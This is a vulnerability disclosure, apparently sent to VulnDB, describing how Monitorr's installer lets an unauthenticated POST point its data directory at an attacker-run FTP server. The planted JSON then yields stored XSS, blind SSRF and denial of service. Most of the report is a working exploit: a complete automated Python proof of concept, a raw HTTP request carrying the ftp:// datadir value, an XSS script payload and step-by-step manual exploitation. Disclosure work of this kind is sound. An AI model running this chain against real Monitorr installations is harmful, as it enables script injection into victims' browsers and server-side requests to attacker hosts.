| الوصف | Hello VulnDB Team,
I would like to report a vulnerability I found in the Monitorr installer’s mkdbajax.php, where user-controlled datadir in datadir.json can abuse PHP stream wrappers (e.g. ftp://, ssh://) to pull attacker-controlled JSON files, leading to Stored XSS, Blind SSRF, DoS and more. I have already submitted this as a CVE to mitire, but responses can take months.
This write-up is intended as a concise, educational advisory to help the community understand and mitigate complex chained attacks.
Application Setup
```bash
┌──(root㉿kali)-[/var/www/Monitorr]
└─# docker pull monitorr/monitorr
Using default tag: latest
...
┌──(root㉿kali)-[/var/www/Monitorr]
└─# docker run -p 80:80 monitorr/monitorr
[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
...
Automated PoC (PoC.py)
```python
import os, subprocess, time, json, requests, shutil
# Configuration
VULN_HOST = "127.0.0.1"
VULN_PORT = 80
POST_URL = f"http://{VULN_HOST}:{VULN_PORT}/assets/config/_installation/mkdbajax.php"
HOME_URL = f"http://{VULN_HOST}:{VULN_PORT}/"
FTP_HOST = "172.17.0.1"
FTP_PORT = 21
FTP_ROOT = "/tmp"
EXPLOIT_DIR = os.path.join(FTP_ROOT, "exploit_dir")
INJECTION = 'http://172.17.0.1:80"</a><script>alert(`XSS`)</script><a>'
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
def start_ftp():
print(f"[+] starting FTP server on port {FTP_PORT}")
subprocess.run(["fuser", "-k", f"{FTP_PORT}/tcp"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if os.path.isdir(EXPLOIT_DIR):
shutil.rmtree(EXPLOIT_DIR)
subprocess.Popen(
["python3", "-m", "pyftpdlib", "-p", str(FTP_PORT), "-w"],
cwd=FTP_ROOT, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
time.sleep(2)
def trigger_install():
print("[+] triggering installer with datadir pointing to FTP exploit directory")
burp0_url = f"http://{VULN_HOST}:{VULN_PORT}/assets/config/_installation/mkdirajax.php"
burp0_headers = {"sec-ch-ua-platform": "\"Linux\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Chromium\";v=\"133\", \"Not(A:Brand\";v=\"99\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://127.0.0.1", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://127.0.0.1/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = {"datadir": f"ftp://anonymous@{FTP_HOST}:{FTP_PORT}//exploit_dir/"}
requests.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=PROXIES)
def wait_for_json(timeout=15):
target = os.path.join(EXPLOIT_DIR, "services_settings-data.json")
for _ in range(timeout):
if os.path.exists(target):
return True
time.sleep(1)
return False
def inject_xss():
print("[+] injection XSS payload into services_settings-data.json")
path = os.path.join(EXPLOIT_DIR, "services_settings-data.json")
cfg = json.load(open(path, "r"))
cfg[1]["linkurl"] = INJECTION
json.dump(cfg, open(path, "w"), indent=4)
if __name__ == "__main__":
start_ftp()
trigger_install()
if not wait_for_json():
exit(1)
inject_xss()
time.sleep(1)
print(f"[!] visit target to trigger XSS at {HOME_URL}")
```
```bash
┌──(root㉿kali)-[/var/www/Monitorr]
└─# python3 PoC.py
[+] starting FTP server on port 21
[+] triggering installer with datadir pointing to FTP exploit directory
[+] injection XSS payload into services_settings-data.json
[!] visit target to trigger XSS at http://127.0.0.1:80/
```
Manual Exploitation Steps
1. Start anonymous FTP (root‐mapped to /tmp/exploit_dir):
```bash
┌──(root㉿kali)-[/tmp]
└─# pip3 install pyftpdlib --break-system-packages
...
┌──(root㉿kali)-[/tmp]
└─# python3 -m pyftpdlib -p 21 -w
/usr/local/lib/python3.13/dist-packages/pyftpdlib/authorizers.py:111: RuntimeWarning: write permissions assigned to anonymous user.
self._check_permissions(username, perm)
...
```
2. Poison datadir via single unauthenticated POST:
```
POST /assets/config/_installation/mkdirajax.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 51
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Cookie: CONSOLESESSION=c6a2e2c6a791fd644d13ef11a4269f46; PHPSESSID=fe0273676fc9fccae4467298dc3a6d4f
Connection: keep-alive
datadir=ftp://[email protected]:21//exploit_dir/
```
3. Edit /tmp/exploit_dir/services_settings-data.json.
4. Trigger XSS by visiting http://127.0.0.1/.
Vulnerable Code
assets/config/_installation/mkdbajax.php writes attacker-controlled datadir to data/datadir.json without validation.
UI rendering (e.g. in index.php / monitorr-data.php) reads poisoned JSON and echoes fields like linkurl verbatim into <a href="…"> tags.
Best,
Matan Sandori.
|
|---|